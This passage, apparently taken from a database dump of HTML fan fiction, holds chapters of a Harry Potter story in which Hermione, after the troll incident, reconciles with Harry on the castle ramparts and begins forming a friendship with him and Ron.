bathroom.&nbsp;\nMcGonagall, Snape, and Quirrell were there now looking at the\nunconscious troll and the three of them.&nbsp;\nMcGonagall had a look of pure anger in her eyes, a look that Hermione\nhad rarely seen.&nbsp; She knew instantly that\nthey were all in trouble.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I could have\nbeen killed.&nbsp; I&#8217;m supposed to be the best\nwitch in my grade, but I couldn&#8217;t do a thing about this troll.&nbsp; I mean, it&#8217;s not like I haven&#8217;t read about\nthem.&nbsp; I know all of their weaknesses and\na half dozen spells to slow them down but I couldn&#8217;t do a thing because I was\nso afraid, so petrified.&nbsp; Harry and Ron\ndon&#8217;t know half as much as I do about trolls but they were brave and\nselfless.&nbsp; They risked their lives for\nme.&nbsp; Harry&#8217;s bravery was more than enough\nto allow him to defeat a troll.&nbsp; I guess\nthat&#8217;s what makes him such a good wizard.&#8221; </i>Hermione realized just how wrong\nshe had been about the famous Harry Potter and how wrong she&#8217;d been about a lot\nof other things.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; McGonagall was\nstill going off on Harry and Ron.&nbsp; She\nhad to do something.&nbsp; If Harry and Ron\nwere brave enough to put their lives on the line for her, then she should at\nleast face McGonagall&#8217;s wrath for them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please Professor\nMcGonagall, they were looking for me.&#8221;&nbsp;\nShe managed to stand, though her legs still felt like jelly. &#8220;I went\nlooking for the troll because I thought I could deal with it on my own.&nbsp; You know, because I read all about\nthem.&#8221;&nbsp; That sounded like a plausible\nstory.&nbsp; It was the sort of thing she\nprobably would have done had she known there was a troll lurking about.&nbsp; &#8220;If they hadn&#8217;t found me, I&#8217;d be dead now,&#8221;\nshe admitted sincerely. &#8220;Harry stuck his wand up it&#8217;s\nnose, and Ron knocked it out with it&#8217;s own club.&nbsp; They didn&#8217;t have time come and fetch\nanyone.&nbsp; It was about to finish me off\nwhen they arrived.&#8221;&nbsp; She knew very well\nthat if the story had come from anyone else but her, McGonagall wouldn&#8217;t have\nbelieved it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She also knew\nthat if it had been anyone else but her telling the story, the punishment would\nhave been far worse.&nbsp; As it was though,\nMcGonagall gave her a good scolding and took five points from Gryffindor.&nbsp; Then she sent Hermione back to Gryffindor\ntower, which she was more than glad to do.&nbsp;\nShe bolted up two flights of stairs and ran down corridors until she was\nonce again standing in front of the portrait of the fat lady.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pigs snout,&#8221; she\npanted and the portrait door flew open.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was safe\ninside the common room once again.&nbsp; All\nof the Gryffindors were sitting around eating the remainder of the Halloween\nfeast but Hermione didn&#8217;t move to join them.&nbsp;\nHer mind was still racing with a million thoughts.&nbsp; She still couldn&#8217;t believe what had\nhappened.&nbsp; She had been saved by Harry\nPotter and not because he was smarter or knew the right spells or anything like\nthat, but because he was reckless, and brave, and relentless.&nbsp; If the tables had been turned and Harry was\ncounting on her to save him, would she have been able to do it?&nbsp; She didn&#8217;t know the answer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly, Ron and\nHarry were climbing through the portrait hole.&nbsp;\nHermione couldn&#8217;t even look at them.&nbsp;\nShe muttered a &#8220;thanks,&#8221; and heard them say the same to her.&nbsp; She had no idea what they could be thanking\nher for except for perhaps warding off McGonagall&#8217;s wrath, but how could saving\nsomeone&#8217;s life be compared with keeping someone from getting a detention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The two boys\nwalked passed her to the common room, and she followed still numb but vaguely\nrealizing how hungry she was.&nbsp; She\ngrabbed some food and plopped down beside Lavender and Parvati.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you&#8230; okay?&#8221;\nParvati asked timidly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Hermione\nbarely heard the question as she ate.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked across\nthe common room and saw that Harry was staring at her again.&nbsp; Only this time, when their eyes met, he\nsmiled at her.&nbsp; She gave a weak smile\nback before stuffing the baked potato she was eating back into her mouth.&nbsp; She didn&#8217;t know what Harry was thinking but\nshe hoped that his smile was an indication that he didn&#8217;t hate her as much as\nbefore.&nbsp; Hermione finished eating\nquickly, and rushed up to her dorm, once again choosing to go to bed early rather\nthan sit awkwardly in the common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she dropped\ndown on her bed, Hermione decided that she would talk to Harry tomorrow.&nbsp; She&#8217;d apologize to him for all of the things\nshe&#8217;d said and done.&nbsp; Maybe after this\nlife altering experience, they really could bury the hatchet and start\nfresh.&nbsp; Or maybe, he&#8217;d never want to\nspeak to her again.&nbsp; Either way, she had\nto try talking to him, but not now.&nbsp; Her\nstomach was doing summersaults and she couldn&#8217;t think clearly.&nbsp; She knew that she&#8217;d say something stupid and\nfor once she wanted to avoid that.&nbsp; For\nonce she would spend a long time thinking <i>before</i>\nshe spoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 6, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; In the story, after the battle with the troll\nit just alludes to the fact that Harry, Ron and Hermione become instant\nfriends.&nbsp; Then it basically skips to the\nquidditch match. I think it took a little more time then just the three seconds\nstanding at the portrait entrance.&nbsp; So\nthis goes into a little more detail of how the friendship developed.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\npurposely avoided Harry the next day.&nbsp;\nShe knew she needed to talk to him, and she really wanted to talk to\nhim, but she just couldn&#8217;t.&nbsp; She could\nfeel him looking at her in classes but refused to look back.&nbsp; She thought about trying to talk to him after\ndinner, but for the first time in her life, she couldn&#8217;t think of anything to\nsay.&nbsp; So instead, she decided to\ndisappear for a while.&nbsp; She went up to\nher hiding place on the ramparts to think and read.&nbsp; None of the Quidditch teams were practicing\nthat night so she knew for sure that she wouldn&#8217;t be seen by anyone.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she read,\nrandom thoughts swirled through her head. <i>&#8220;How stupid must I have looked,\ncowering against the bathroom wall?&nbsp; I&#8217;m\nsure glad they didn&#8217;t tell anyone what happened.&nbsp; It would have been all over school by now if\nthey had.&nbsp; Pansy would have had a field\nday.&nbsp;&nbsp; If it had been anyone else, they\nwould have bragged about how they saved the &#8216;know-it-all&#8217; witch.&nbsp; I guess you can&#8217;t judge a book by its cover,\nthat&#8217;s for sure.&nbsp; Harry is a better\nwizard than I&#8217;ll ever be because he has the courage I lack.&nbsp; It&#8217;s one thing to have the brain of a wizard,\nit&#8217;s another thing to have the heart of one and Harry definitely has the&#8230;&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You sure do pick\nsome weird places to read,&#8221; said a voice behind her interrupting her\nthoughts.&nbsp; Hermione didn&#8217;t need to turn\naround to know the owner of the voice.&nbsp;\nIt was Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t move.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know,&#8221; Harry\ncontinued stepping onto the ramparts from his Nimbus 2000 racing broom. &#8220;I\ndaresay the common room is just as accessible and a lot warmer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione still didn&#8217;t\nsay anything.&nbsp; She didn&#8217;t even put her\nbook down.&nbsp; It was like she was frozen\nagain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She heard Harry\nhuff. &#8220;Are you going to just keep ignoring me?&nbsp;\nI mean first you don&#8217;t speak to me because we almost got killed after\nsneaking out of Gryffindor Tower, which by the way I&#8217;d like to point out that we didn&#8217;t drag you along.&nbsp; Then you don&#8217;t speak to me because I was made\nthe Gryffindor team seeker.&nbsp; Now you&#8217;re\nnot speaking to me because&#8230; I saved your life yesterday?&nbsp; Can&#8217;t I get a break?&nbsp; I mean I know you hate me but if we&#8217;re going\nto be in the same house for seven years we should at least be&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not\ntrue!&#8221; Hermione blurted out.&nbsp; She dropped\nthe book she was reading and stood to face him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t hate\nyou; why would you think that?&#8221; Hermione asked looking scandalized. &#8220;I mean,\nsure I wasn&#8217;t talking to you because of what happened, and yes, I overreacted a\nlittle, but I don&#8217;t hate you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh.&#8221;&nbsp; Harry sat down on the castle wall.&nbsp; A long awkward silence followed as both of\nthem thought of something to say.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about you?&#8221;\nHermione asked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you hate me?&#8221;\nShe knew it was a loaded question, but hoped he&#8217;d be honest anyway.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, of course\nnot,&#8221; Harry answered hastily. &#8220;I don&#8217;t think I hate anyone; well except for\nmaybe Snape, and Malfoy.&nbsp; I mean you can\nbe a bit bossy sometimes, and haughty, and a know-it-all.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wondered\nwhere he was going with this.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But I mean, you are the smartest witch in our class.&nbsp; I wish I knew as much as you did when I came\nto Hogwarts.&nbsp; If you only knew how afraid\nI was of being the worst wizard in my year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me too,&#8221;\nHermione added absentmindedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed.\n&#8220;Excuse me?&nbsp; If it weren&#8217;t for the fact\nthat you were a first year, you&#8217;d be Head Girl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\nfeel herself turning red.&nbsp; Well since\nshe&#8217;d already admitted it.&nbsp; &#8220;Well, I was\nso scared of not fitting in, you know, because I&#8217;m a muggle-born, I just\nstarted reading everything I could about the wizarding world.&nbsp; I figured that if I knew as much as every\nother witch and wizard at Hogwarts I&#8217;d fit in.&nbsp;\nOf course, as usual, I overdid it.&nbsp;\nBut I mean, I just wanted to make a good\nimpression and be the best I could be.&nbsp; I\nwas so sick of people treating me like I didn&#8217;t belong.&nbsp; I mean after the train ride when Pansy\nParkinson was treating me like I had some sort of disease just because I have\nmuggle parents and Ron treating me like an idiot, I guess I just wanted to\nprove to everyone that I am a witch and that I belong at Hogwarts and in\nGryffindor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was staring\nat her, a mixture of confusion and shock on his face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry,&#8221; Hermione\nsaid looking down. &#8220;I know I ramble a lot.&nbsp;\nI can&#8217;t help it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No it&#8217;s not\nthat,&#8221; Harry laughed.&nbsp; &#8220;I mean it&#8217;s that\ntoo, but I was just thinking that I felt kind of the same way when I first\nfount out.&nbsp; I didn&#8217;t know anything about\nthe wizarding world and then I find out that I&#8217;m famous.&nbsp; It was almost too much to handle.&nbsp; Everyone thinks I&#8217;m special, but I&#8217;m not.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;But that&#8217;s\nnot true,&#8221;</i> Hermione thought to herself. <i>&#8220;He doesn&#8217;t even know how\ndifferent he really is.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But you never\ntreated me like &#8216;the famous Harry Potter,&#8217;&#8221; he continued. &#8220;I mean, even though\nwe rubbed each other the wrong way, at least I knew you were reacting to me and\nnot &#8216;Harry Potter.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well&#8230;&#8221; Hermione\nshook her head slowly. &#8220;That&#8217;s not entirely true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh really&#8230;&#8221; He\nseemed genuinely surprised. &#8220;I would have thought you were the last person to\nbe caught up in appearances.&nbsp; I mean I&#8217;ve\nseen how nice you are to Neville.&nbsp;\nEveryone makes fun of him for being a klutz, but you don&#8217;t.&nbsp; I guess I understand why you were so mad\nabout me getting on the house team.&nbsp; You\nwant everyone to be held to the same set of standards, but a lot of times it\nseems like that doesn&#8217;t happen with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But it&#8217;s not\nyour fault,&#8221; Hermione said quickly. &#8220;I mean, you can&#8217;t help it that people\ntreat you differently, and that everyone knows your name, and that you&#8217;re in a\ndozen books.&nbsp; I mean, you&#8217;re practically\na muggle-born like me, growing up thinking magic was just something on\ntelevision or in dreams.&nbsp; Then it&#8217;s like\nyour world&#8217;s turned upside down.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nhalf grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed\nagain. &#8220;I know&#8230; I know&#8230; I&#8217;m rambling.&nbsp;\nI&#8217;m sorry.&#8221;&nbsp; She plopped down on\nthe ground again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No it&#8217;s not\nthat,&#8221; Harry jumped off the wall. &#8220;You just described it perfectly.&nbsp; I always try to tell Ron how I feel about\nthings around here, but he grew up in a wizarding family and hearing about\nHarry Potter and sometimes, he just doesn&#8217;t see things the way I do.&nbsp; But you described it perfectly.&nbsp; It&#8217;s exactly how I felt when I came\nhere.&nbsp; The only thing that&#8217;s really kept\nme sane is&#8230;&#8221; Harry trailed off.&nbsp; There\nwas silence again.&nbsp; Then he took a seat\nbeside her and started again.&nbsp; &#8220;You know,\nin a way it was only chance that Ron and I became good friends.&nbsp; I met him and his family on the train to\nHogwarts.&nbsp; He was the first person I\nreally talked to.&nbsp; I bet if it had been\nyou that I met first on the train we would have become friends too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221; Hermione was shocked that he had expressed the\nsame thing she had been thinking for weeks. &#8220;I think so too, I mean, when I\nactually did meet you on the train it was after being in a compartment with\nPansy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shuddered.\n&#8220;How did you survive?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only just\nbarely,&#8221; Hermione laughed. &#8220;By the time I met you and Ron, I was in such a foul\ntemper that I probably came on pretty strong.&nbsp;\nIt didn&#8217;t help that Ron was making fun of me with that stupid fake spell\nof his though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was Harry&#8217;s\nturn to laugh. &#8220;Oh that!&nbsp; He wasn&#8217;t\ntrying to make fun of you.&nbsp; He actually\nthought it was a spell his brothers had given him to change the color of his\nrat.&nbsp; You know how Fred and George are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really!&#8221; Hermione was shocked. &#8220;And all this time, I\nthought he was being a stupid git, you know, messing\nwith the muggle-born witch.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They laughed\nabout this for a while.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was always\nRon that rubbed me the wrong way really.&nbsp;\nI mean, I know he&#8217;s your best friend, but he&#8217;s always got the most\nhair-brained schemes.&nbsp; First the wizard&#8217;s\nduel and then convincing you to warm up to me so that you two could get help on\nyour homework.&nbsp; I just wish you didn&#8217;t go\nalong with everything he said.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry went quiet\nagain.&nbsp; Hermione figured she had\noverstepped her bounds, talking about his best friend. <i>&#8220;Ugh, I should have\njust kept my mouth shut.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t try to\ntalk to you the other day to trick you into helping us with homework.&#8221; Harry\nsaid quietly, and with a trace of resentment. &#8220;I mean, I admit, Ron did bring\nthe subject up at one point, but it was a joke.&nbsp;\nI don&#8217;t even know how you heard about that. &nbsp;Is that what you thought?&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsquirmed. &#8220;Well I&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Like I told Fred\nand George, I just wanted to clear the air.&nbsp;\nI didn&#8217;t think it made any sense us going around not speaking to each\nother, like we&#8217;re in some stupid fight&#8230; and as for Ron&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione winced,\nwaiting for him to lash out at her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s my best\nfriend and he sticks by me and that&#8217;s all that matters&#8230; but you&#8217;re right, he\ndoes come up with some weird ideas every now and again.&#8221;&nbsp; He smiled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed.\n&#8220;Ron practically told me yesterday that I shouldn&#8217;t put academics in front of\nfriendship.&nbsp; I think he was right for\nonce.&nbsp; I&#8217;ve had my priorities messed\nup.&nbsp; You and Ron had it right all along;\nfriendship is more important.&nbsp; I just\nhope it&#8217;s not too late, you know, to make some friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;I\nthink you&#8217;ll be okay.&nbsp; You&#8217;re not as bad\nas you make people think you are/&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not trying\nto make people think I&#8217;m unapproachable.&nbsp;\nIt just comes out that way.&nbsp; It&#8217;s\nreally hard for me to open up to people.&nbsp;\nThen of course whenever I get really nervous I start rambling and\ntalking about facts from books I&#8217;ve read and I know it seems really weird and\npeople want me to shut up and believe me, even I want me to shut up most of the\ntime, but I just can&#8217;t help it.&nbsp; It&#8217;s\nlike I just start talking and I can&#8217;t stop and&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry put a\nfinger to her lips. &#8220;I got it.&#8221; He laughed again to let Hermione know that it\nwas okay. &#8220;So let me ask you something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why did you open\nup to me just now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshrugged. &#8220;You&#8217;re just different.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed. &#8220;Story of my life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no I didn&#8217;t mean it like that,&#8221; she said hastily.&nbsp; &#8220;I just knew all along that I&#8217;d be able to\ntalk to you about this.&nbsp; I mean we have\nsome things in common, both coming from muggle families.&nbsp; I just could never work up the courage to\nactually try.&nbsp; I was too afraid of making\nan idiot of myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s funny,&#8221;\nHarry said with a smirk. &#8220;As I recall, you didn&#8217;t have much of a problem\ntelling me off the night we snuck out to meet Malfoy, which you were right\nabout, by the way,&#8221; he added casually. &#8220;Guess we should have listened, eh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;He said it!&#8221; </i>Hermione\ncould have jumped for joy right there, but decided to keep it\ninternalized.&nbsp; &#8220;Like I said, every time I\ntalked to you I felt like I was digging a deeper hole for myself.&nbsp; If I had been nicer or not have babbled so\nmuch or something then maybe I would have had the courage to try to really get\nto know you instead of always trying to be a bossy, know-it-all around you.&nbsp; I&#8217;m beginning to find out though that courage\ndefinitely isn&#8217;t one of my strong points though, if last night was any\nindication.&nbsp; If you hadn&#8217;t been there&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was just dumb\nluck,&#8221; Harry said hastily. &#8220;We didn&#8217;t even know you were in there.&nbsp; If we had, we certainly wouldn&#8217;t have locked\nthe door.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So that was\nyou,&#8221; Hermione said pensively. &#8220;Well anyway, it wasn&#8217;t just dumb luck, it was\ncourage.&nbsp; The courage I didn&#8217;t have.&nbsp; I was so petrified.&nbsp; I couldn&#8217;t even think.&#8221;<i></i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m just really\nglad we got to you in time.&#8221; Harry said.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned\nto him. &nbsp;The look in his eyes told her\nthat the thought of not getting there in time scared him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She knew she\nshouldn&#8217;t be, but she was really flattered that Harry cared that much.&nbsp; &#8220;I know I should be grateful you two were\nbreaking rules but still, it was really dangerous of you two to go looking for\nthat troll last night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry rolled his\neyes, sighed, and then mimicked her disapproving look. &#8220;You really do assume\ntoo much, Hermione.&nbsp; We weren&#8217;t looking\nfor the troll.&nbsp; Do you think we&#8217;re\nstupid?&nbsp; We were looking for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes\ngrew wide. &#8220;You&#8230; you were?&#8221;&nbsp; But why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I knew that you\nhad been locked in the girls&#8217; bathroom all evening.&nbsp; You better thank Parvati for having a big\nmouth.&nbsp; When Quirrell announced that\nthere was a troll in the castle, I knew that there was know way you&#8217;d know and\nso we snuck away from Percy to go find you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt her\neyes tearing up. &#8220;You mean after all of the mean things I said about you and\nRon, well mostly Ron, you still cared enough to risk your lives to come looking\nfor me.&#8221;&nbsp; Before she could stop herself,\nshe flung her arms around Harry and hugged him, completely dissolving into\ntears on his shoulder. &#8220;This whole thing is all my\nfault.&nbsp; If I hadn&#8217;t been so stubborn and\nhaughty and bigheaded, none of this would have happened.&nbsp; All I wanted to do was come to Hogwarts and\nmake some friends and be happy but instead I just made\ntrouble for the one person I really wanted to be friends with.&nbsp; I&#8217;m so sorry I put you through all of\nthis.&#8221;&nbsp; Harry didn&#8217;t say anything, but he\npatted her on the head until she finally pulled away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wiped\nthe remaining tears from her eyes.&nbsp; She\nnoticed that Harry looked stunned.&nbsp; She\nguessed that he wasn&#8217;t expecting her to be that physical or emotional. <i>&#8220;I&#8217;m\nsuch a girl,&#8221;</i> she chastised herself mentally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I tell you\nwhat,&#8221; Harry said as he stood. &#8220;We&#8217;ll start over.&nbsp; How about that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup at him. &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Like I said, if\nthings had been different, then we probably wouldn&#8217;t be here.&#8221; Harry helped her\nup. &#8220;It&#8217;s not too late to start over.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But what about Ron?&#8221; Hermione asked, confused.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged.\n&#8220;He&#8217;ll come around.&nbsp; I actually think he\nlikes you.&#8221; Hermione scoffed at that. &#8220;Well hey, if\nyou help him with his homework then I know he&#8217;ll come around.&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not\nfunny, Harry Potter.&#8221; Hermione said, gathering her books, but she was laughing\ntoo.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry went back\nto the castle wall and started to climb on his broom. &#8220;I&#8217;ll see you back in the\ncommon room.&nbsp; I should probably get some\nwork done.&nbsp; You know how Snape is if our\npotions assignments aren&#8217;t perfect.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him\na quizzical look. &#8220;You know, you don&#8217;t have to fly down.&nbsp; You can go down the trap door with me.&nbsp; That way you&#8217;ll see how to get up here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grinned\nfrom ear to ear. &#8220;No thanks.&nbsp; You should\nkeep this place a secret.&nbsp; How are you\ngoing to get any peace and quiet if you&#8217;ve got me and Ron up here with you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And if you get\ncaught, flying around so close to curfew?&#8221; Hermione scolded light-heartedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll just tell\nthem I was out doing some extra quidditch practice.&nbsp; They&#8217;ll believe me.&nbsp; I&#8217;m the famous Harry Potter remember?&#8221; and\nwith that, he took off down the side of the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You sure are&#8230;&#8221;\nHermione said with a grin.&nbsp; She turned\nand headed for the trap door feeling like a huge weight had been taken from\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 7, ' <p><b>Chapter Summary:</b>&nbsp; More of the developing friendship between Ron, Hermione, and Harry&#8230; and how Hermione&#8217;s roommates react to the sudden change.</p>\n\n<center><p>--- Begin Fic Here ---</p></center>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked up from her book when the portrait swung open.&nbsp; Harry was entering.&nbsp; She hadn&#8217;t actually been reading &#8220;Great Wizarding Events of the 20<sup>th</sup> Century,&#8221; she just didn&#8217;t want to look like she was waiting for Harry to arrive, even though she really was.&nbsp; It had only taken her five minutes to make it back to the common room from her hiding place up on the ramparts, but it took Harry 30 minutes to arrive.&nbsp; She suspected that he couldn&#8217;t help spending some extra time on his Nimbus 2000.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry immediately headed up to his dormitory without any acknowledgement to Hermione or anyone else in the common room.&nbsp; Ron was nowhere to be seen so she assumed he was up in the dormitory as well.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She put the book back in front of her face and pretended to read again; a little disappointed that Harry hadn&#8217;t come to sit with 